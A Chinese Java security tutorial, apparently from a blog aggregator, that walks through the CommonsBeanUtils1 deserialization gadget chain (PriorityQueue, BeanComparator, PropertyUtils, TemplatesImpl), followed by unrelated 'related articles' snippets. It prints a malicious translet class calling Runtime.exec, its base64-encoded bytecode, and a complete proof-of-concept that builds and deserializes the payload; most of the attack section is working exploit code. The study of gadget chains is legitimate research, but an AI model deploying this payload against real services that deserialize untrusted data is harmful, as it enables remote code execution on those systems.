当前位置: 首页 > news >正文

【java安全】CommonsBeanUtils1

文章目录

    • 【java安全】CommonsBeanUtils1
      • 前言
      • Apache Commons Beanutils
      • BeanComparator
      • 如何调用`BeanComparator#compare()`方法?
      • 构造POC
        • 完整POC
      • 调用链

【java安全】CommonsBeanUtils1

前言

在之前我们学习了java.util.PriorityQueue,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator接口的compare()方法,进而执行恶意反序列化操作

我们能不能找到除了之前提到的TransformingComparator类以外的其他可以利用的java.util.Comparator对象?我们需要了解一下Commons Beanuitls

Apache Commons Beanutils

在找可用的Comparator之前,我们需要知道一下Apache Commons Beanutils,它是Apache Commons工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法

什么是javaBean?

final public class Cat { private String name = "catalina";public String getName() { return name;}public void setName(String name) { this.name = name;}
}

javaBean就是一种标准化的java对象,成员变量为private,提供了对成员变量的getter()setter()方法,符合驼峰命名法

Commons Beanutils中提供了一个静态方法PropertyUtils.getProperty()

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}

这个方法可以可以调用任意javaBean对象的getter()方法

例如:

PropertyUtils.getProperty(new Cat(),'name')

这个方法会调用Cat对象的getName()方法,使用该方法可以调用任意对象的getter方法

BeanComparator

我们上文说想要找到其他的实现java.util.Comparator的类

commons-beanutils中有一个BeanComparator类:

先看看构造方法:

public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());
}public BeanComparator(String property, Comparator<?> comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}

构造方法可以为:property属性赋值,这个很重要后面会用到

然后看看compare()方法:

package org.apache.commons.beanutils;public class BeanComparator<T> implements Comparator<T>, Serializable {public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}}

我们注意一下它的compare(T o1, T o2)方法,当property==null时,不会调用PropertyUtils.getProperty()

if (this.property == null) {return this.internalCompare(o1, o2);
}

PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);

它会去调用o1、o2对象的名为property的属性值的getter方法

这里很重要,加入o1TemplatesImpl对象的话这里是可以构造反序列化利用链的

我们先来回顾一下前面TemplatesImpl中的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

这里的getOutputProperties()就是getter方法的形式,并且它会调用newTransformer()触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)第一个形参传入:TemplatesImpl对象,并且第二个参数property传入值outputProperties

那么就会调用TemplatesImpl#getOutputProperties()方法了

我们可以简单测试一下:

我们先构造一个恶意字节码的类HelloTemplatesImpl:(注意需要继承AbstractTranslet,这样才有效)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class HelloTemplatesImpl extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public HelloTemplatesImpl() throws IOException {Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器}}

我们将其编译为字节码并且base64编码一下

然后编写利用链:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(obj,null);}
}

image-20230802163106973

确实弹出了计算器,说明这是对的

如何调用BeanComparator#compare()方法?

我们这里可以继续使用PriorityQueue类,它的readObject()方法可以触发排序等函数,最终调用comparator变量的compare() 方法,并且形参传入TemplatesImpl对象(注意讲BeanComparatorproperty设置为outputProperties

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c, (E) queue[right]) > 0)

当反序列化时调用PriorityQueue#readObject()方法,最终调用comparator#compare(),然后调用TemplatesImpl#getOutputProperties()方法

构造POC

首先常规构造TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后构造BeanComparator类,我们先不为property赋值,防止提前调用PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

然后创建PriorityQueue,队列大小为2,将comparator成员变量赋值为BeanComparator对象:

PriorityQueue queue = new PriorityQueue(2, comparator);

然后添加2个无关紧要的值进queue中(之所以这么做是因为防止add()提前触发comparator.compare())

queue.add(1);
queue.add(1);

添加完成之后我们再将queue的值(用来给compare方法传入TemplatesImpl对象)以及BeanComparatorproperty赋值为outputProperties

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

调用可以弹出计算器:

image-20230802173336884

调用链

PriorityQueue#readObject()heapify();siftDown(i, (E) queue[i]);siftDownUsingComparator(k, x);BeanComparator#compare(TemplatesImplObj,)PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()...defindClass()

相关文章:

【java安全】CommonsBeanUtils1

文章目录 【java安全】CommonsBeanUtils1前言Apache Commons BeanutilsBeanComparator如何调用BeanComparator#compare()方法&#xff1f;构造POC完整POC 调用链 【java安全】CommonsBeanUtils1 前言 在之前我们学习了java.util.PriorityQueue&#xff0c;它是java中的一个优…...

JVM优化(OOM,内存溢出),查看线程快照,堆内存情况等问题

1&#xff1a;堆大小 新生代 老年代&#xff0c;新生代 ( Young ) 与老年代 ( Old ) 的比例的值为 1:2 ( 该值可以通过参数 –XX:NewRatio 来指定 ) 2&#xff1a;-Xmn参数总是应当小于-Xmx参数&#xff0c;否则就会触发OOM错误 3&#xff1a;jvm优化与查看gc回收情况&#x…...

git 给分支添加描述

需求:分支多了不知道当前分支的用处可以使用git br用来描述 效果: 全局安装命令 npm i -g git-br 项目内使用 git br 给f-230825-4-zhou分支备注 git config branch.f-230825-4-zhou.description 用来开发第四迭代需求 再次git br查看效果...

SpringBoot+Vue 整合websocket实现简单聊天窗口

效果图 1 输入临时名字充当账号使用 2 进入聊天窗口 3 发送消息 &#xff08;复制一个页面&#xff0c;输入其他名字&#xff0c;方便展示效果&#xff09; 4 其他窗口效果 代码实现 后端SpringBoot项目&#xff0c;自行创建 pom依赖 <dependency><groupId…...

PCB layout在布线上的设计规范有哪些?

PCB Layout是一项技术活&#xff0c;也是经验活&#xff0c;良好的PCB Layout布线可帮助工程师确保最终的电路板性能、可靠性和制造质量&#xff0c;因此是很多电子工程师的学习重点&#xff0c;下面我们来盘点下PCB Layout关于布线的规范有哪些。 1、地管的引脚接地越短越好&a…...

喜报丨迪捷软件入选浙江省2023年省级产业数字化服务商

近日&#xff0c;根据《关于组织开展2023年度省级产业数字化服务商申报工作的通知》要求&#xff0c;省经信厅公布2023年省级产业数字化服务商名单&#xff0c;浙江迪捷软件科技有限公司榜上有名。 省级产业数字化服务商上榜名单的评选在企业申报、地方推荐、专家评审、综合评估…...

verilog写rom,采用端口排序顺序例化

verilog写rom,采用端口排序顺序例化 1,介绍rom,以及rom与ram的区别2,RTL设计模块、门级网表以及testbench测试模块2.1 RTL设计2.2 门级网表2.3 testbench3,波形输出1,介绍rom,以及rom与ram的区别 参考文献: 1, 转载-ROM、RAM存储器原理详解以及DRAM、SRAM、SDRAM 、FLA…...

基于SSM的共享客栈管理系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…...

全屏Activity弹出键盘不顶起布局

最近遇到的一个问题是全屏Activity中要求弹出键盘不顶起布局&#xff0c;首先windowSoftInputMode的取值是有多个的&#xff0c;在全屏场景下adjustPan是没有用的&#xff0c;需要使用adjustResize首先确保键盘不顶起布局。 android:windowSoftInputMode"stateHidden|adju…...

JAVA设计模式详解 解构设计模式思想 详细代码对比

JAVA设计模式详解 1 简单工厂模式 1 简单工厂模式 设计模式-01简单工厂模式详解 详细代码对比...

lintcode 567 · 最大得分 【动态规划 中等 】

题目 https://www.lintcode.com/problem/567 给定一个矩阵matrix&#xff0c; matrix[i][j]表示你到达第i行第j列可以得到的分数&#xff0c;现在你要用第0行任意一点出发&#xff0c;从每行里找到一个点进行跳跃&#xff0c;每次从(i,j)到(i1,k)跳跃需要消耗∣j−k∣的分数&…...

qml嵌入到QWidget的两种方式介绍

本文介绍qml页面嵌入到QWidget的两种方式,以及这两种方式的区别。 方式1 在 Qt 中,可以使用 QQuickWidget 将 QML 内容嵌入到基于 QWidget 的应用程序中。这是在旧的 QWidget-based 应用程序中逐渐引入 QML UI 的一种常见方式。 以下是如何使用 QQuickWidget 将 QML 内容嵌…...

Mysql数据库之常用SQL语句及事务学习总结

数据库介绍 几个常见的缩写&#xff1a; DB&#xff1a;数据库。全称&#xff1a;DataBase。DBMS&#xff1a;数据库管理系统。全称&#xff1a;DataBase Management System。DBS&#xff1a;数据库系统。全称&#xff1a;DataBase System。DBA&#xff1a;数据库管理员。全称…...

RuoYi若依管理系统最新版 基于SpringBoot的权限管理系统

RuoYi是一个后台管理系统&#xff0c;基于经典技术组合&#xff08;Spring Boot、Apache Shiro、MyBatis、Thymeleaf&#xff09;主要目的让开发者注重专注业务&#xff0c;降低技术难度&#xff0c;从而节省人力成本&#xff0c;缩短项目周期&#xff0c;提高软件安全质量。 本…...

html实现邮件模版布局-flex布局table布局-demo

邮件模版布局 flex - 布局简单方便 兼容性差 table - 优点 就是兼容性好&#xff0c;其他没有优点 注&#xff1a;使用图片需要png最好&#xff0c;使用svg图google邮箱会出现不能使用的情况 效果图 flex布局 <!DOCTYPE html> <html lang"en" xmlns:th&qu…...

CENTOS7安装redis在/home/pms/software路径下,并且将redis加入到systemctl中

要将/home/software/redis-stack-server-7.2.0-v0/service/redis.service添加到systemctl系统管理&#xff0c;你可以执行以下步骤&#xff1a; 创建软连接&#xff1a; sudo ln -s /home/software/redis-stack-server-7.2.0-v0/service/redis.service /etc/systemd/system/r…...

数据库笔记

数据库原理及应用 半期考&#xff1a;运筹学&#xff0c;概率论&#xff0c;数据库 文章目录 数据库原理及应用1.课程的考核2.数据库的运用3.数据库学什么&#xff1f; 第一章 绪论1.1数据库系统概述1.1.1基本概念1.1.2数据管理技术的生产和发展人工管理文件系统数据库系统 1.…...

AI是风口还是泡沫?

KlipC报道&#xff1a;狂热的人工智能追捧潮有所冷静&#xff0c;投资者在“上头”的追涨之后&#xff0c;开始回归到对基本面的关注。 KlipC的合伙人Andi D表示&#xff1a;“近日&#xff0c;有关英伟达二季度“破纪录”财报涉嫌造假的话题正在社交媒体和投资者论坛中甚嚣尘上…...

echarts环图配置

echarts环图配置 1、安装echarts npm install echarts4.9.02、页面引入echarts import echarts from echarts;3、应用 template片段 <div class"chart-wrap"><div id "treeChart" style "width: 180px; height:180px;" ><…...

Redis优化 RDB AOF持久化

---------------------- Redis 高可用 ---------------------------------------- 在web服务器中&#xff0c;高可用是指服务器可以正常访问的时间&#xff0c;衡量的标准是在多长时间内可以提供正常服务&#xff08;99.9%、99.99%、99.999%等等&#xff09;。 但是在Redis语境…...

Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代&#xff0c;情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现&#xff0c;消费者对内容的“有感”程度&#xff0c;正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作

一、上下文切换 即使单核CPU也可以进行多线程执行代码&#xff0c;CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短&#xff0c;所以CPU会不断地切换线程执行&#xff0c;从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

C/C++ 中附加包含目录、附加库目录与附加依赖项详解

在 C/C 编程的编译和链接过程中&#xff0c;附加包含目录、附加库目录和附加依赖项是三个至关重要的设置&#xff0c;它们相互配合&#xff0c;确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中&#xff0c;这些概念容易让人混淆&#xff0c;但深入理解它们的作用和联…...

Git 3天2K星标:Datawhale 的 Happy-LLM 项目介绍(附教程)

引言 在人工智能飞速发展的今天&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;已成为技术领域的焦点。从智能写作到代码生成&#xff0c;LLM 的应用场景不断扩展&#xff0c;深刻改变了我们的工作和生活方式。然而&#xff0c;理解这些模型的内部…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...

深度解析:etcd 在 Milvus 向量数据库中的关键作用

目录 &#x1f680; 深度解析&#xff1a;etcd 在 Milvus 向量数据库中的关键作用 &#x1f4a1; 什么是 etcd&#xff1f; &#x1f9e0; Milvus 架构简介 &#x1f4e6; etcd 在 Milvus 中的核心作用 &#x1f527; 实际工作流程示意 ⚠️ 如果 etcd 出现问题会怎样&am…...

python学习day39

图像数据与显存 知识点回顾 1.图像数据的格式&#xff1a;灰度和彩色数据 2.模型的定义 3.显存占用的4种地方 a.模型参数梯度参数 b.优化器参数 c.数据批量所占显存 d.神经元输出中间状态 4.batchisize和训练的关系 import torch import torchvision import torch.nn as nn imp…...